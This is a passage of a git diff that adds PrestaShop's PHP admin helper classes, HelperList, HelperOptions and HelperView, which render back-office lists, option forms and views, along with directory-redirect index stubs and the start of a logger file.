SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0 + */ +class HelperListCore extends Helper +{ + /** @var array Cache for query results */ + protected $_list = array(); + + /** @var integer Number of results in list */ + public $listTotal = 0; + + /** @var array WHERE clause determined by filter fields */ + protected $_filter; + + /** @var array Number of results in list per page (used in select field) */ + protected $_pagination = array(20, 50, 100, 300); + + /** @var string ORDER BY clause determined by field/arrows in list header */ + public $orderBy; + + /** @var string Default ORDER BY clause when $orderBy is not defined */ + public $_defaultOrderBy = false; + + /** @var array : list of vars for button delete*/ + public $tpl_delete_link_vars = array(); + + /** @var string Order way (ASC, DESC) determined by arrows in list header */ + public $orderWay; + + public $identifier; + + protected $deleted = 0; + + /** @var array $cache_lang use to cache texts in current language */ + public static $cache_lang = array(); + + public $is_cms = false; + + public $position_identifier; + + /** + * @var string Customize list display + * + * align : determine value alignment + * prefix : displayed before value + * suffix : displayed after value + * image : object image + * icon : icon determined by values + * active : allow to toggle status + */ + protected $fields_list; + + /** @var boolean Content line is clickable if true */ + public $no_link = false; + + protected $header_tpl = 'list_header.tpl'; + protected $content_tpl = 'list_content.tpl'; + protected $footer_tpl = 'list_footer.tpl'; + + /** @var array list of required actions for each list row */ + public $actions = array(); + + /** @var array list of row ids associated with a given action for witch this action have to not be available */ + public $list_skip_actions = array(); + + public $bulk_actions = false; + public $specificConfirmDelete = null; + public $colorOnBackground; + + /** @var bool If true, activates color on hover */ + public $row_hover = true; + + /** @var if not null, a title will be added on that list */ + public $title = null; + + /** @var boolean ask for simple header : no filters, no paginations and no sorting */ + public $simple_header = false; + + public $ajax_params = array(); + + public function __construct() + { + $this->base_folder = 'helpers/list/'; + $this->base_tpl = 'list.tpl'; + + parent::__construct(); + } + + /** + * Return an html list given the data to fill it up + * + * @param array $list entries to display (rows) + * @param array $fields_display fields (cols) + * @return string html + */ + public function generateList($list, $fields_display) + { + // Append when we get a syntax error in SQL query + if ($list === false) + { + $this->displayWarning($this->l('Bad SQL query', 'Helper')); + return false; + } + + $this->tpl = $this->createTemplate($this->base_tpl); + $this->header_tpl = $this->createTemplate($this->header_tpl); + $this->content_tpl = $this->createTemplate($this->content_tpl); + $this->footer_tpl = $this->createTemplate($this->footer_tpl); + + $this->_list = $list; + $this->fields_list = $fields_display; + + // Display list header (filtering, pagination and column names) + $tpl_vars['header'] = $this->displayListHeader(); + + // Show the content of the table + $tpl_vars['content'] = $this->displayListContent(); + + // Close list table and submit button + $tpl_vars['footer'] = $this->displayListFooter(); + + $this->tpl->assign($tpl_vars); + return parent::generate(); + } + + /** + * Fetch the template for action enable + * + * @param string $token + * @param int $id + * @param int $value state enabled or not + * @param string $active status + * @param int $id_category + * @param int $id_product + * @return string + */ + public function displayEnableLink($token, $id, $value, $active, $id_category = null, $id_product = null) + { + $tpl_enable = $this->createTemplate('list_action_enable.tpl'); + $tpl_enable->assign(array( + 'enabled' => (bool)$value, + 'url_enable' => Tools::safeOutput($this->currentIndex.'&'.$this->identifier.'='.(int)$id.'&'.$active.$this->table. + ((int)$id_category && (int)$id_product ? '&id_category='.(int)$id_category : '').'&token='.($token != null ? $token : $this->token)) + )); + return $tpl_enable->fetch(); + } + + public function displayListContent() + { + if ($this->position_identifier) + $id_category = (int)Tools::getValue('id_'.($this->is_cms ? 'cms_' : '').'category', ($this->is_cms ? '1' : Category::getRootCategory()->id )); + else + $id_category = Category::getRootCategory()->id; + + if (isset($this->fields_list['position'])) + { + $positions = array_map(create_function('$elem', 'return (int)($elem[\'position\']);'), $this->_list); + sort($positions); + } + + // key_to_get is used to display the correct product category or cms category after a position change + $identifier = in_array($this->identifier, array('id_category', 'id_cms_category')) ? '_parent' : ''; + if ($identifier) + $key_to_get = 'id_'.($this->is_cms ? 'cms_' : '').'category'.$identifier; + + foreach ($this->_list as $index => $tr) + { + $id = $tr[$this->identifier]; + $name = isset($tr['name']) ? $tr['name'] : null; + + if ($this->shopLinkType) + $this->_list[$index]['short_shop_name'] = Tools::strlen($tr['shop_name']) > 15 ? Tools::substr($tr['shop_name'], 0, 15).'...' : $tr['shop_name']; + + // Check all available actions to add to the current list row + foreach ($this->actions as $action) + { + //Check if the action is available for the current row + if (!array_key_exists($action, $this->list_skip_actions) || !in_array($id, $this->list_skip_actions[$action])) + { + $method_name = 'display'.ucfirst($action).'Link'; + + if (method_exists($this->context->controller, $method_name)) + $this->_list[$index][$action] = $this->context->controller->$method_name($this->token, $id, $name); + elseif (method_exists($this, $method_name)) + $this->_list[$index][$action] = $this->$method_name($this->token, $id, $name); + } + } + + // @todo skip action for bulk actions + // $this->_list[$index]['has_bulk_actions'] = true; + foreach ($this->fields_list as $key => $params) + { + $tmp = explode('!', $key); + $key = isset($tmp[1]) ? $tmp[1] : $tmp[0]; + + if (isset($params['active'])) + { + // If method is defined in calling controller, use it instead of the Helper method + if (method_exists($this->context->controller, 'displayEnableLink')) + $calling_obj = $this->context->controller; + else + $calling_obj = $this; + $this->_list[$index][$key] = $calling_obj->displayEnableLink( + $this->token, + $id, + $tr[$key], + $params['active'], + Tools::getValue('id_category'), + Tools::getValue('id_product') + ); + } + elseif (isset($params['activeVisu'])) + $this->_list[$index][$key] = (bool)$tr[$key]; + elseif (isset($params['position'])) + { + $this->_list[$index][$key] = array( + 'position' => $tr[$key], + 'position_url_down' => $this->currentIndex. + (isset($key_to_get) ? '&'.$key_to_get.'='.(int)$id_category : ''). + '&'.$this->position_identifier.'='.$id. + '&way=1&position='.((int)$tr['position'] + 1).'&token='.$this->token, + 'position_url_up' => $this->currentIndex. + (isset($key_to_get) ? '&'.$key_to_get.'='.(int)$id_category : ''). + '&'.$this->position_identifier.'='.$id. + '&way=0&position='.((int)$tr['position'] - 1).'&token='.$this->token + ); + } + elseif (isset($params['image'])) + { + // item_id is the product id in a product image context, else it is the image id. + $item_id = isset($params['image_id']) ? $tr[$params['image_id']] : $id; + if ($params['image'] != 'p' || Configuration::get('PS_LEGACY_IMAGES')) + $path_to_image = _PS_IMG_DIR_.$params['image'].'/'.$item_id.(isset($tr['id_image']) ? '-'.(int)$tr['id_image'] : '').'.'.$this->imageType; + else + $path_to_image = _PS_IMG_DIR_.$params['image'].'/'.Image::getImgFolderStatic($tr['id_image']).(int)$tr['id_image'].'.'.$this->imageType; + $this->_list[$index][$key] = ImageManager::thumbnail($path_to_image, $this->table.'_mini_'.$item_id.'.'.$this->imageType, 45, $this->imageType); + } + elseif (isset($params['icon']) && isset($tr[$key]) && (isset($params['icon'][$tr[$key]]) || isset($params['icon']['default']))) + { + if (isset($params['icon'][$tr[$key]]) && is_array($params['icon'][$tr[$key]])) + $this->_list[$index][$key] = array( + 'src' => $params['icon'][$tr[$key]]['src'], + 'alt' => $params['icon'][$tr[$key]]['alt'], + ); + else + $this->_list[$index][$key] = array( + 'src' => isset($params['icon'][$tr[$key]]) ? $params['icon'][$tr[$key]] : $params['icon']['default'], + 'alt' => isset($params['icon'][$tr[$key]]) ? $params['icon'][$tr[$key]] : $params['icon']['default'], + ); + } + elseif (isset($params['type']) && $params['type'] == 'float') + $this->_list[$index][$key] = rtrim(rtrim($tr[$key], '0'), '.'); + elseif (isset($params['type']) && $params['type'] == 'price') + { + $currency = (isset($params['currency']) && $params['currency']) ? Currency::getCurrencyInstance($tr['id_currency']) : $this->context->currency; + $this->_list[$index][$key] = Tools::displayPrice($tr[$key], $currency, false); + } + elseif (isset($params['type']) && $params['type'] == 'date') + $this->_list[$index][$key] = Tools::displayDate($tr[$key], $this->context->language->id); + elseif (isset($params['type']) && $params['type'] == 'datetime') + $this->_list[$index][$key] = Tools::displayDate($tr[$key], $this->context->language->id, true); + elseif (isset($tr[$key])) + { + $echo = $tr[$key]; + if (isset($params['callback'])) + { + $callback_obj = (isset($params['callback_object'])) ? $params['callback_object'] : $this->context->controller; + $this->_list[$index][$key] = call_user_func_array(array($callback_obj, $params['callback']), array($echo, $tr)); + } + else + $this->_list[$index][$key] = $echo; + } + } + } + + $this->content_tpl->assign(array_merge($this->tpl_vars, array( + 'shop_link_type' => $this->shopLinkType, + 'name' => isset($name) ? $name : null, + 'position_identifier' => $this->position_identifier, + 'identifier' => $this->identifier, + 'table' => $this->table, + 'token' => $this->token, + 'color_on_bg' => $this->colorOnBackground, + 'id_category' => $id_category, + 'bulk_actions' => $this->bulk_actions, + 'positions' => isset($positions) ? $positions : null, + 'order_by' => $this->orderBy, + 'order_way' => $this->orderWay, + 'is_cms' => $this->is_cms, + 'fields_display' => $this->fields_list, + 'list' => $this->_list, + 'actions' => $this->actions, + 'no_link' => $this->no_link, + 'current_index' => $this->currentIndex, + 'view' => in_array('view', $this->actions), + 'edit' => in_array('edit', $this->actions), + 'has_actions' => !empty($this->actions), + 'has_bulk_actions' => !empty($this->bulk_actions), + 'list_skip_actions' => $this->list_skip_actions, + 'row_hover' => $this->row_hover, + ))); + return $this->content_tpl->fetch(); + } + + /** + * Display duplicate action link + */ + public function displayDuplicateLink($token = null, $id, $name = null) + { + $tpl = $this->createTemplate('list_action_duplicate.tpl'); + if (!array_key_exists('Bad SQL query', self::$cache_lang)) + self::$cache_lang['Duplicate'] = $this->l('Duplicate', 'Helper'); + + if (!array_key_exists('Copy images too?', self::$cache_lang)) + self::$cache_lang['Copy images too?'] = $this->l('Copy images too?', 'Helper'); + + $duplicate = $this->currentIndex.'&'.$this->identifier.'='.$id.'&duplicate'.$this->table; + + $tpl->assign(array( + 'href' => Tools::safeOutput($this->currentIndex.'&'.$this->identifier.'='.$id.'&view'.$this->table.'&token='.($token != null ? $token : $this->token)), + 'action' => self::$cache_lang['Duplicate'], + 'confirm' => self::$cache_lang['Copy images too?'], + 'location_ok' => Tools::safeOutput($duplicate.'&token='.($token != null ? $token : $this->token)), + 'location_ko' => Tools::safeOutput($duplicate.'&noimage=1&token='.($token ? $token : $this->token)), + )); + + return $tpl->fetch(); + } + + + /** + * Display action show details of a table row + * This action need an ajax request with a return like this: + * { + * use_parent_structure: true // If false, data need to be an html + * data: + * [ + * {field_name: 'value'} + * ], + * fields_display: // attribute $fields_list of the admin controller + * } + * or somethins like this: + * { + * use_parent_structure: false // If false, data need to be an html + * data: + * '<p>My html content</p>', + * fields_display: // attribute $fields_list of the admin controller + * } + */ + public function displayDetailsLink($token = null, $id, $name = null) + { + $tpl = $this->createTemplate('list_action_details.tpl'); + if (!array_key_exists('Details', self::$cache_lang)) + self::$cache_lang['Details'] = $this->l('Details', 'Helper'); + + $ajax_params = $this->ajax_params; + if (!is_array($ajax_params) || !isset($ajax_params['action'])) + $ajax_params['action'] = 'details'; + + $tpl->assign(array( + 'id' => Tools::safeOutput($id), + 'controller' => str_replace('Controller', '', get_class($this->context->controller)), + 'token' => Tools::safeOutput($token != null ? $token : $this->token), + 'action' => self::$cache_lang['Details'], + 'params' => $ajax_params, + 'json_params' => Tools::jsonEncode($ajax_params) + )); + return $tpl->fetch(); + } + + /** + * Display view action link + */ + public function displayViewLink($token = null, $id, $name = null) + { + $tpl = $this->createTemplate('list_action_view.tpl'); + if (!array_key_exists('View', self::$cache_lang)) + self::$cache_lang['View'] = $this->l('View', 'Helper'); + + $tpl->assign(array( + 'href' => Tools::safeOutput($this->currentIndex.'&'.$this->identifier.'='.$id.'&view'.$this->table.'&token='.($token != null ? $token : $this->token)), + 'action' => self::$cache_lang['View'], + )); + + return $tpl->fetch(); + + } + + /** + * Display edit action link + */ + public function displayEditLink($token = null, $id, $name = null) + { + $tpl = $this->createTemplate('list_action_edit.tpl'); + if (!array_key_exists('Edit', self::$cache_lang)) + self::$cache_lang['Edit'] = $this->l('Edit', 'Helper'); + + $tpl->assign(array( + 'href' => $this->currentIndex.'&'.$this->identifier.'='.$id.'&update'.$this->table.'&token='.($token != null ? $token : $this->token), + 'action' => self::$cache_lang['Edit'], + 'id' => $id + )); + + return $tpl->fetch(); + } + + /** + * Display delete action link + */ + public function displayDeleteLink($token = null, $id, $name = null) + { + $tpl = $this->createTemplate('list_action_delete.tpl'); + + if (!array_key_exists('Delete', self::$cache_lang)) + self::$cache_lang['Delete'] = $this->l('Delete', 'Helper'); + + if (!array_key_exists('DeleteItem', self::$cache_lang)) + self::$cache_lang['DeleteItem'] = $this->l('Delete selected item?', 'Helper'); + + if (!array_key_exists('Name', self::$cache_lang)) + self::$cache_lang['Name'] = $this->l('Name:', 'Helper'); + + if (!is_null($name)) + $name = '\n\n'.self::$cache_lang['Name'].' '.$name; + + $data = array( + $this->identifier => $id, + 'href' => Tools::safeOutput($this->currentIndex.'&'.$this->identifier.'='.$id.'&delete'.$this->table.'&token='.($token != null ? $token : $this->token)), + 'action' => self::$cache_lang['Delete'], + ); + + if ($this->specificConfirmDelete !== false) + $data['confirm'] = !is_null($this->specificConfirmDelete) ? '\r'.$this->specificConfirmDelete : self::$cache_lang['DeleteItem'].$name; + + $tpl->assign(array_merge($this->tpl_delete_link_vars, $data)); + + return $tpl->fetch(); + } + + /** + * Display delete action link + */ + public function displayDefaultLink($token = null, $id, $name = null) + { + $tpl = $this->createTemplate('list_action_default.tpl'); + if (!array_key_exists('Default', self::$cache_lang)) + self::$cache_lang['Default'] = $this->l('Default', 'Helper'); + + $tpl->assign(array_merge($this->tpl_delete_link_vars, array( + 'href' => Tools::safeOutput($this->currentIndex).'&'.Tools::safeOutput($this->identifier).'='.(int)$id.'&delete'.Tools::safeOutput($this->table).'&token='.Tools::safeOutput(($token != null ? $token : $this->token)), + 'action' => self::$cache_lang['Default'], + 'name' => Tools::safeOutput($name), + ))); + + return $tpl->fetch(); + } + + /** + * Display list header (filtering, pagination and column names) + */ + public function displayListHeader() + { + $id_cat = (int)Tools::getValue('id_'.($this->is_cms ? 'cms_' : '').'category'); + + if (!isset($token) || empty($token)) + $token = $this->token; + + /* Determine total page number */ + if (isset($this->context->cookie->{$this->table.'_pagination'}) && $this->context->cookie->{$this->table.'_pagination'}) + $default_pagination = $this->context->cookie->{$this->table.'_pagination'}; + else + $default_pagination = $this->_pagination[0]; + + $total_pages = ceil($this->listTotal / Tools::getValue('pagination', ($default_pagination))); + + if (!$total_pages) + $total_pages = 1; + + $identifier = Tools::getIsset($this->identifier) ? '&'.$this->identifier.'='.(int)Tools::getValue($this->identifier) : ''; + $order = ''; + if (Tools::getIsset($this->table.'Orderby')) + $order = '&'.$this->table.'Orderby='.urlencode($this->orderBy).'&'.$this->table.'Orderway='.urlencode(strtolower($this->orderWay)); + + $action = $this->currentIndex.$identifier.'&token='.$token.$order.'#'.$this->table; + + /* Determine current page number */ + $page = (int)Tools::getValue('submitFilter'.$this->table); + if (!$page) + $page = 1; + + /* Choose number of results per page */ + $selected_pagination = Tools::getValue( + 'pagination', + isset($this->context->cookie->{$this->table.'_pagination'}) ? $this->context->cookie->{$this->table.'_pagination'} : null + ); + + // Cleaning links + if (Tools::getValue($this->table.'Orderby') && Tools::getValue($this->table.'Orderway')) + $this->currentIndex = preg_replace('/&'.$this->table.'Orderby=([a-z _]*)&'.$this->table.'Orderway=([a-z]*)/i', '', $this->currentIndex); + + if ($this->position_identifier && (int)Tools::getValue($this->position_identifier, 1)) + $table_id = substr($this->identifier, 3, strlen($this->identifier)); + + if ($this->position_identifier && ($this->orderBy == 'position' && $this->orderWay != 'DESC')) + $table_dnd = true; + + $prefix = isset($this->controller_name) ? str_replace(array('admin', 'controller'), '', Tools::strtolower($this->controller_name)) : ''; + foreach ($this->fields_list as $key => $params) + { + if (!isset($params['type'])) + $params['type'] = 'text'; + $value = Context::getContext()->cookie->{$prefix.$this->table.'Filter_'.(array_key_exists('filter_key', $params) ? $params['filter_key'] : $key)}; + switch ($params['type']) + { + case 'bool': + break; + + case 'date': + case 'datetime': + if (is_string($value)) + $value = Tools::unSerialize($value); + if (!Validate::isCleanHtml($value[0]) || !Validate::isCleanHtml($value[1])) + $value = ''; + $name = $this->table.'Filter_'.(isset($params['filter_key']) ? $params['filter_key'] : $key); + $name_id = str_replace('!', '__', $name); + + $params['id_date'] = $name_id; + $params['name_date'] = $name; + + $this->context->controller->addJqueryUI('ui.datepicker'); + break; + + case 'select': + foreach ($params['list'] as $option_value => $option_display) + { + if (isset(Context::getContext()->cookie->{$prefix.$this->table.'Filter_'.$params['filter_key']}) + && Context::getContext()->cookie->{$prefix.$this->table.'Filter_'.$params['filter_key']} == $option_value + && Context::getContext()->cookie->{$prefix.$this->table.'Filter_'.$params['filter_key']} != '') + $this->fields_list[$key]['select'][$option_value]['selected'] = 'selected'; + } + break; + + case 'text': + if (!Validate::isCleanHtml($value)) + $value = ''; + } + $params['value'] = $value; + $this->fields_list[$key] = $params; + } + + $this->header_tpl->assign(array_merge($this->tpl_vars, array( + 'title' => $this->title, + 'show_toolbar' => $this->show_toolbar, + 'toolbar_scroll' => $this->toolbar_scroll, + 'toolbar_btn' => $this->toolbar_btn, + 'table' => $this->table, + 'currentIndex' => $this->currentIndex, + 'action' => $action, + 'page' => $page, + 'simple_header' => $this->simple_header, + 'total_pages' => $total_pages, + 'selected_pagination' => $selected_pagination, + 'pagination' => $this->_pagination, + 'list_total' => $this->listTotal, + 'is_order_position' => $this->position_identifier && $this->orderBy == 'position', + 'order_way' => $this->orderWay, + 'order_by' => $this->orderBy, + 'token' => $this->token, + 'fields_display' => $this->fields_list, + 'delete' => in_array('delete', $this->actions), + 'identifier' => $this->identifier, + 'id_cat' => $id_cat, + 'shop_link_type' => $this->shopLinkType, + 'has_actions' => !empty($this->actions), + 'has_bulk_actions' => !empty($this->bulk_actions), + 'bulk_actions' => $this->bulk_actions, + 'table_id' => isset($table_id) ? $table_id : null, + 'table_dnd' => isset($table_dnd) ? $table_dnd : null, + 'name' => isset($name) ? $name : null, + 'name_id' => isset($name_id) ? $name_id : null, + 'row_hover' => $this->row_hover, + ))); + + return $this->header_tpl->fetch(); + } + + /** + * Close list table and submit button + */ + public function displayListFooter() + { + $this->footer_tpl->assign(array_merge($this->tpl_vars, array( + 'token' => $this->token, + 'table' => $this->table, + 'current' => $this->currentIndex, + 'bulk_actions' => $this->bulk_actions, + 'simple_header' => $this->simple_header + ))); + return $this->footer_tpl->fetch(); + } +} diff --git a/classes/helper/HelperOptions.php b/classes/helper/HelperOptions.php new file mode 100755 index 0000000..61010b3 --- /dev/null +++ b/classes/helper/HelperOptions.php @@ -0,0 +1,228 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * Use this helper to generate preferences forms, with values stored in the configuration table + */ +class HelperOptionsCore extends Helper +{ + public $required = false; + + public function __construct() + { + $this->base_folder = 'helpers/options/'; + $this->base_tpl = 'options.tpl'; + parent::__construct(); + } + + /** + * Generate a form for options + * @param array options + * @return string html + */ + public function generateOptions($option_list) + { + $this->tpl = $this->createTemplate($this->base_tpl); + $tab = Tab::getTab($this->context->language->id, $this->id); + if (!isset($languages)) + $languages = Language::getLanguages(false); + + $use_multishop = false; + $hide_multishop_checkbox = (Shop::getTotalShops(false, null) < 2) ? true : false; + foreach ($option_list as $category => $category_data) + { + if (!is_array($category_data)) + continue; + + if (!isset($category_data['image'])) + $category_data['image'] = (!empty($tab['module']) && file_exists($_SERVER['DOCUMENT_ROOT']._MODULE_DIR_.$tab['module'].'/'.$tab['class_name'].'.gif') ? _MODULE_DIR_.$tab['module'].'/' : '../img/t/').$tab['class_name'].'.gif'; + + if (!isset($category_data['fields'])) + $category_data['fields'] = array(); + + $category_data['hide_multishop_checkbox'] = true; + foreach ($category_data['fields'] as $key => $field) + { + if (empty($field['no_multishop_checkbox']) && !$hide_multishop_checkbox) + $category_data['hide_multishop_checkbox'] = false; + + // Set field value unless explicitly denied + if (!isset($field['auto_value']) || $field['auto_value']) + $field['value'] = $this->getOptionValue($key, $field); + + // Check if var is invisible (can't edit it in current shop context), or disable (use default value for multishop) + $isDisabled = $isInvisible = false; + if (Shop::isFeatureActive()) + { + if (isset($field['visibility']) && $field['visibility'] > Shop::getContext()) + { + $isDisabled = true; + $isInvisible = true; + } + else if (Shop::getContext() != Shop::CONTEXT_ALL && !Configuration::isOverridenByCurrentContext($key)) + $isDisabled = true; + } + $field['is_disabled'] = $isDisabled; + $field['is_invisible'] = $isInvisible; + + $field['required'] = isset($field['required']) ? $field['required'] : $this->required; + + if ($field['type'] == 'color') + $this->context->controller->addJS(_PS_JS_DIR_.'jquery/plugins/jquery.colorpicker.js'); + + // Cast options values if specified + if ($field['type'] == 'select' && isset($field['cast'])) + foreach ($field['list'] as $option_key => $option) + $field['list'][$option_key][$field['identifier']] = $field['cast']($option[$field['identifier']]); + + // Fill values for all languages for all lang fields + if (substr($field['type'], -4) == 'Lang') + { + foreach ($languages as $language) + { + if ($field['type'] == 'textLang') + $value = Tools::safeOutput(Tools::getValue($key.'_'.$language['id_lang'], Configuration::get($key, $language['id_lang']))); + elseif ($field['type'] == 'textareaLang') + $value = Configuration::get($key, $language['id_lang']); + elseif ($field['type'] == 'selectLang') + $value = Configuration::get($key, $language['id_lang']); + $field['languages'][$language['id_lang']] = $value; + $field['value'][$language['id_lang']] = $this->getOptionValue($key.'_'.strtoupper($language['iso_code']), $field); + } + } + + // pre-assign vars to the tpl + // @todo move this + if ($field['type'] == 'maintenance_ip') + { + $field['script_ip'] = ' + <script type="text/javascript"> + function addRemoteAddr() + { + var length = $(\'input[name=PS_MAINTENANCE_IP]\').attr(\'value\').length; + if (length > 0) + $(\'input[name=PS_MAINTENANCE_IP]\').attr(\'value\',$(\'input[name=PS_MAINTENANCE_IP]\').attr(\'value\') +\','.Tools::getRemoteAddr().'\'); + else + $(\'input[name=PS_MAINTENANCE_IP]\').attr(\'value\',\''.Tools::getRemoteAddr().'\'); + } + </script>'; + $field['link_remove_ip'] = '  <a href="#" class="button" onclick="addRemoteAddr(); return false;">'.$this->l('Add my IP', 'Helper').'</a>'; + } + + // Multishop default value + $field['multishop_default'] = false; + if (Shop::isFeatureActive() && Shop::getContext() != Shop::CONTEXT_ALL && !$isInvisible) + { + $field['multishop_default'] = true; + $use_multishop = true; + } + + // Assign the modifications back to parent array + $category_data['fields'][$key] = $field; + + // Is at least one required field present? + if (isset($field['required']) && $field['required']) + $category_data['required_fields'] = true; + } + // Assign the modifications back to parent array + $option_list[$category] = $category_data; + } + + $this->tpl->assign(array( + 'title' => $this->title, + 'toolbar_btn' => $this->toolbar_btn, + 'show_toolbar' => $this->show_toolbar, + 'toolbar_scroll' => $this->toolbar_scroll, + 'current' => $this->currentIndex, + 'table' => $this->table, + 'token' => $this->token, + 'option_list' => $option_list, + 'current_id_lang' => $this->context->language->id, + 'languages' => isset($languages) ? $languages : null, + 'currency_left_sign' => $this->context->currency->getSign('left'), + 'currency_right_sign' => $this->context->currency->getSign('right'), + 'use_multishop' => $use_multishop, + )); + + return parent::generate(); + } + + /** + * Type = image + */ + public function displayOptionTypeImage($key, $field, $value) + { + echo '<table cellspacing="0" cellpadding="0">'; + echo '<tr>'; + + $i = 0; + foreach ($field['list'] as $theme) + { + echo '<td class="center" style="width: 180px; padding:0px 20px 20px 0px;">'; + echo '<input type="radio" name="'.$key.'" id="'.$key.'_'.$theme['name'].'_on" style="vertical-align: text-bottom;" value="'.$theme['name'].'"'.(_THEME_NAME_ == $theme['name'] ? 'checked="checked"' : '').' />'; + echo '<label class="t" for="'.$key.'_'.$theme['name'].'_on"> '.Tools::strtolower($theme['name']).'</label>'; + echo '<br />'; + echo '<label class="t" for="'.$key.'_'.$theme['name'].'_on">'; + echo '<img src="../themes/'.$theme['name'].'/preview.jpg" alt="'.Tools::strtolower($theme['name']).'">'; + echo '</label>'; + echo '</td>'; + if (isset($field['max']) && ($i + 1) % $field['max'] == 0) + echo '</tr><tr>'; + $i++; + } + echo '</tr>'; + echo '</table>'; + } + + /** + * Type = price + */ + public function displayOptionTypePrice($key, $field, $value) + { + echo $this->context->currency->getSign('left'); + $this->displayOptionTypeText($key, $field, $value); + echo $this->context->currency->getSign('right').' '.$this->l('(tax excl.)', 'Helper'); + } + + /** + * Type = disabled + */ + public function displayOptionTypeDisabled($key, $field, $value) + { + echo $field['disabled']; + } + + public function getOptionValue($key, $field) + { + $value = Tools::getValue($key, Configuration::get($key)); + if (!Validate::isCleanHtml($value)) + $value = Configuration::get($key); + + if (isset($field['defaultValue']) && !$value) + $value = $field['defaultValue']; + return $value; + } +} diff --git a/classes/helper/HelperView.php b/classes/helper/HelperView.php new file mode 100755 index 0000000..68d51e9 --- /dev/null +++ b/classes/helper/HelperView.php @@ -0,0 +1,61 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class HelperViewCore extends Helper +{ + public $id; + public $toolbar = true; + public $table; + public $token; + + /** @var if not null, a title will be added on that list */ + public $title = null; + + public function __construct() + { + $this->base_folder = 'helpers/view/'; + $this->base_tpl = 'view.tpl'; + parent::__construct(); + } + + public function generateView() + { + $this->tpl = $this->createTemplate($this->base_tpl); + + $this->tpl->assign(array( + 'title' => $this->title, + 'current' => $this->currentIndex, + 'token' => $this->token, + 'table' => $this->table, + 'show_toolbar' => $this->show_toolbar, + 'toolbar_scroll' => $this->toolbar_scroll, + 'toolbar_btn' => $this->toolbar_btn, + 'link' => $this->context->link + )); + + return parent::generate(); + } +} diff --git a/classes/helper/index.php b/classes/helper/index.php new file mode 100755 index 0000000..c1c95ce --- /dev/null +++ b/classes/helper/index.php @@ -0,0 +1,35 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../'); +exit; \ No newline at end of file diff --git a/classes/index.php b/classes/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/classes/index.php @@ -0,0 +1,35 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/classes/log/AbstractLogger.php b/classes/log/AbstractLogger.php new file mode 100755 index 0000000..e3f8e65 --- /dev/null +++ b/classes/log/AbstractLogger.php @@ -0,0 +1,110 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If 